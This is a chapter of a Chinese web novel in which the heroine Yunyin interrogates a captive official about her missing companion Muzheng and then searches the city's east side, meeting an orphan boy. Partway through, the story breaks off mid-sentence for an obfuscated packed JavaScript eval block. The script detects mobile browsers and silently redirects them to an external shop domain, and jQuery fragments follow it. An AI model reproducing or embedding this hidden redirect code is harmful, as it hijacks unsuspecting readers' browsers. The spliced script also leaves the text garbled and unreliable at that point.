文趣网 > 都市小说 > 初祖庵遗录 > 19. 宴遇(2)
    云银回到府上时,见谢行舟屋外来来回回几人,很快走了过去:“谢师兄怎么了?”

    洛施施转身看到她:“师妹,师弟他受了重伤,如今已包扎妥当,但要休息几日了。”

    云银听罢点点头,又见韩廷从府门跨了进来,朝二人走来,没等他开口说话,云银问道:“顾昀明呢?”

    韩廷愣愣道:“现已擒拿,在书房的侧室。”

    云银道别二人,铿锵走至书房,推门而入,便见赵煊已然在屋中,顾昀明吊着一口气,地上滴了几滴血。

    “木筝在哪?!”云银怒气冲天,走至他面前。

    顾昀明疯笑道:“木筝?原来那小妖女叫木筝,她害死了我的阿离,她不配活着!”

    云银扇去一耳光,顾昀明唾了口血,赵煊踱了过来:“顾大人,你表弟近来可好?”

    顾昀明抬眸看向他,又环绕整座屋子循眼望去,而后再度迷茫地望着前方:“我比你更恨吴宣承!”

    此言令二人皆是一愣,赵煊料想自己的猜测果真正确,正要开口询问,就听云银已开了口:“今日和你接头的,是虚竹院那掌事?”

    顾昀明不应。

    “好,那我再问,今日是吴宣承让你去江府赴宴,派人来与你接应?”云银又问道,只见此人忽地瞪直双眼看向她。

    “看来是了?”云银哼了一声,“晴川竟和那畜生是一伙的。”

    顾昀明许久未言,直到韩廷敲门踏了进来,正要附耳去向赵煊禀些情报,赵煊:“韩廷,直说吧,这里想来没有外人了。”

    韩廷便开口道:“晴川身旁的那姑娘醒了,我让人去探问,说是…说是哑了。”

    见三人未应,韩廷又接着说道:“不过,那姑娘很是惧怕,只说别将她赶回虚竹院。”

    “顾大人,”赵煊这才开口,“那姑娘是来同你接应,还是来朝你索命?”

    顾昀明不应,赵煊又说道:“你方才说,你比我们更恨吴宣承,想来你也该知道,她是来要你的命,区区一位姑娘,当然和顾大人你结不上仇。”

    云银接言道:“所以,便是晴川要你的命。不,便是你的表弟要索你的命!”

    顾昀明笑得更加猖狂,“这是我的事,关你们何干!”

    云银凑近揪起他的衣颈:“把木筝放了,我兴许会和你合作,一起杀了他。”

    他怒视云银,“她害死了阿离!她害死了我的阿离!”

    云银又扇去一耳光:“你的阿离见义勇为救了我家木筝,木筝亦是无辜的。堂堂顾大人,竟也是这么蠢,连这都想不通!”

    可终究没用,顾昀明像是着了魔似的,只一个劲地说着他的阿离,赵煊见此形势,怕会发疯伤了她,快走两步将其拍晕。

    他抚着瘫在地上的云银,“别怕,会没事的。”

    云银想起木筝手臂上的青红烙印,更加难受:“木筝不会死的,木筝一定还好好活着。”

    她自言自语道,仿佛只有这样才能抚慰内心惊惧与后怕,赵煊小心翼翼地,妄图揽她入怀,却在伸手触碰之际,适时收回了手,只如此默默地陪在身边,便好。

    月色朦胧,洛施施今日是在云银阁中宿下的。二人躺在一张榻上,洛施施抱着她,拍抚着她的肩膀:“师妹,别怕,木筝会没事的,马上要过年了,一定会平平安安,团圆美满。”

    翌日。

    云银睁开惺忪睡眼,换好先前的鹅黄短褙,水碧旋裙,拿着昨日江映蓉的衣裳,急匆匆赶去江府。

    踏出屋子,才发现又落了雪。她顿了两步,垂眸跑进雪地,未走几步,迎面而来是一双浅靴,再抬眸,就见赵煊撑着伞立于身前,抬手朝自己披上厚绒披风:“雪大路滑,一同乘车罢。”

    “不了,我还要去别处。”云银拒绝,“谢谢你的绒衣。”

    她抬步要走,赵煊握向她的腕间:“云银,你要去哪?去寻木筝么?”

    云银顿住步子,未应。

    “我一直有个疑问,”赵煊极为委屈地开口,“你为何不愿问我情报?你孤身前去,打算要去哪找?”

    云银攥紧绒披风:“不知道,但总能找到。”

    “昨日你的暗卫归来,死的死,伤的伤,仅有一两人还能张口说话,我该问你什么情报?”云银问道。

    “你于我而言,不是什么人情,”赵煊急忙说道,“是…。”

    “是什么?”云银侧眸瞧去,“不是人情,那便是世故了。也是,你我之间没有什么情义,只是权衡罢了。”

    赵煊沉默了,他松开她的手:“昨日暗卫来报,行踪未至汴梁城门,还有,顾家在京师有处潜藏的府邸,不过极少人知道。”

    云银未应,转身走开了,她自是明白,赵子浣替她着想是为了还前些日的人情,可是她不需要,毕竟二人之间的恩情,仿佛永远消磨不尽。

    而赵煊好似也忽略了,她早已不是从前那个莽撞心急的云银了。

    *

    昨日几人在书房,有人传报宫里圣上有请,赵煊离去后,云银泼醒顾昀明。

    “说,木筝他们出城门了吗?”她狠戾问道,顾昀明喃不出话了,只点了点头。

    见他只吊着一口气,云银没再问什么,转身走出屋子。她找来柳三娘:“三娘,你帮我打听打听,顾家在京城可有府邸?在何处?”

    柳三娘在侧院帮问了个遍,总算有两三人知道,“说是在城东地带,但不知具体方位。”

    云银前往城东时,宫城东华门走来两道身影,她没细瞧,不当心撞到了一位头戴幂篱的小娘子,云银道了声歉,便兀自赶往城东。

    小娘子掀开幂篱:“裴大哥,撞我的人呢?”

    裴宗元侧眸瞧了瞧:“走了。不过…”

    赵灵莘问道:“不过什么?”

    “不过很眼熟。”裴宗元说道,“罢了,郡主,我们赶快去赵府送请帖罢。”

    赵灵莘朝东侧又望了望,也罢,她提着绒摆走去长街。

    今日说不上天寒地冻,倒也漫天飞雪,可城东的樊楼依旧是热闹非凡。云银路过,发觉樊楼观台上仍唱着著名的虞妃戏鸳。

    唱的人没厌烦,她都要烦了。这出戏到底何时才能唱罢,况且戏里所见,虞妃为了戏鸳,圣上派众位官千里迢迢去找天南海北的鸳鸯,动辄数百名官员。

    云银不明白,这满座众人听得是浪漫爱情,竟真不觉处处透露出一个昏字。

    城东地带商户众多,街市亦多。车水马龙,不时商队鱼贯而入,再成群结队地出了城门,远赴大漠敦煌。

    云银走着走着,看到一处极小的巷子,朝里看去,大抵也只有一两户人家。一路走来,各家各户都看遍了,进了一两巷子,倒也可以去瞧瞧。

    彼时,赵灵莘蹦跳着踏进赵府,左瞧右看起来:“第一次来这里,没成想这么近!竟也还不错。”

    裴宗元在一侧看着她,眉目含笑道:“郡主尚未出阁,不常出宫倒不见怪。官家两年前赐他一座距宫门仅百余步,只穿两条街巷的府邸,倒也便利赵子浣进宫复命。”

    赵煊走来,看向赵灵莘:“郡主,大清早来我府上所为何

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17796647|209335||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    事?”

    赵灵莘笑了起来,转身朝裴宗元伸出掌心:“裴大哥,快给我,给我。”

    裴宗元宠溺地递给她请帖,赵灵莘抬手递给赵煊:“呐,东宫的拜年贴,对了,明日记得来东宫赴宴,最好带上你新交好的那位小娘子,嘿嘿。”

    赵煊接过,侧眸看向裴宗元,就见裴宗元凝眉一副不知情模样,他应了声谢,转头让韩廷收在怀间。

    赵灵莘路过几人,来到院落中,就见洛施施推门而出,她惊喜道:“哦~我知道你!昨日江映蓉的生辰宴上,你就坐在赵七郎一旁,你便是他…”

    赵灵莘还未说完,就听赵煊在府门处咳了咳,她换了语气道:“交的新朋友?”

    洛施施像是悟了什么,竟摇摇头:“是,不过和赵师弟最交好的,不是我,是我的师妹,她出门了。”

    赵灵莘意味深长地哦了声,转头又走回府门前:“罢了罢了,我还是去簪子铺瞧瞧吧,这里真没意思。”

    赵煊欲要道别,裴宗元掺着他的胳膊:“我将出城门之际,看到了一个人,想来你比较牵挂。”

    话罢,裴宗元瞧着身旁人的神色,料果真如郡主所想,正要开口,就听赵煊说道:“她去哪了?”

    裴宗元抬起右臂指了指,眉眼慵倦地说道:“城东,兴许是樊楼又唱曲儿了。”

    云银及至第一户人家时,院门敞开着,院落中瞧着人际荒芜,像是举家迁走了,正要踏进去,从门缝后突然窜出一小孩,灰头土脸地喝道:“什么人?!”

    二人愣视对方,久久没能再发出声来。云银从衣裳内掏出一张福饼。递给小男孩:“街头新烙好的,你尝尝。”

    一段时间后,男孩大快朵颐,又饮下酒囊里的水,头也不回地就要跑掉,云银揪住他身后的脖颈:“喂,小孩,你先回答我几个问题。”

    男孩被掐得直喊疼,方才答应。

    “你叫什么,是不是这户人家的孩子。”

    “李丑,是的,这就是我家。”

    “好,”云银说道,“李丑,你家人呢?”

    “我家人…他们都走了,”李丑说道,“叔伯们和阿爹都搬去清兰县营商了,这事是我和阿娘探亲回来才知晓的。”

    云银撒手,让他坐了下来,听其娓娓道来:“我家和隔壁这户人家,自初就互不喜欢,相看两厌,我和阿娘去探亲,家里有人同那户人家发生了冲突,互相…死了人,两家为了不再残杀,便决心不再做邻居。”

    李丑哽咽道:“我和阿娘回来,就见院子没了人影,当时这东街有人染了瘟病,我阿娘…就被传染了,也…去了。”

    说罢,他抱头痛哭起来:“就在几日前,我本想去清兰告知家人,却又没那个胆量孤自前行,直到今日…遇见了你。”

    李丑瞧向她:“美人姐姐,你快救救我罢!我实在不知该怎么办了。”

    “我已经有一位阿妹了,不会再收留你。”云银拒绝道,“她是孤儿,可你不一样,你还要去寻家人,等我寻到阿妹,给你安排一驾马车,将你平安送去清兰,且安心吧。”

    听完,李丑感激涕零地握住她的双手,云银嗯了嗯,接续问道:“隔壁这户,你知道多少?”

    李丑就又说道:“只知道,也许久没住过人了。不过,昨日好像听到有小孩哭闹,不知是不是有人归来。”

    云银颤了,她抚摸衣裳的手指动作一顿,抬眸带着审视地瞧去,李丑仍鼻涕带泪地笑着,就听她说:

    “李丑,有时候,你越想让人听到什么,就越明若观火,破绽百出。”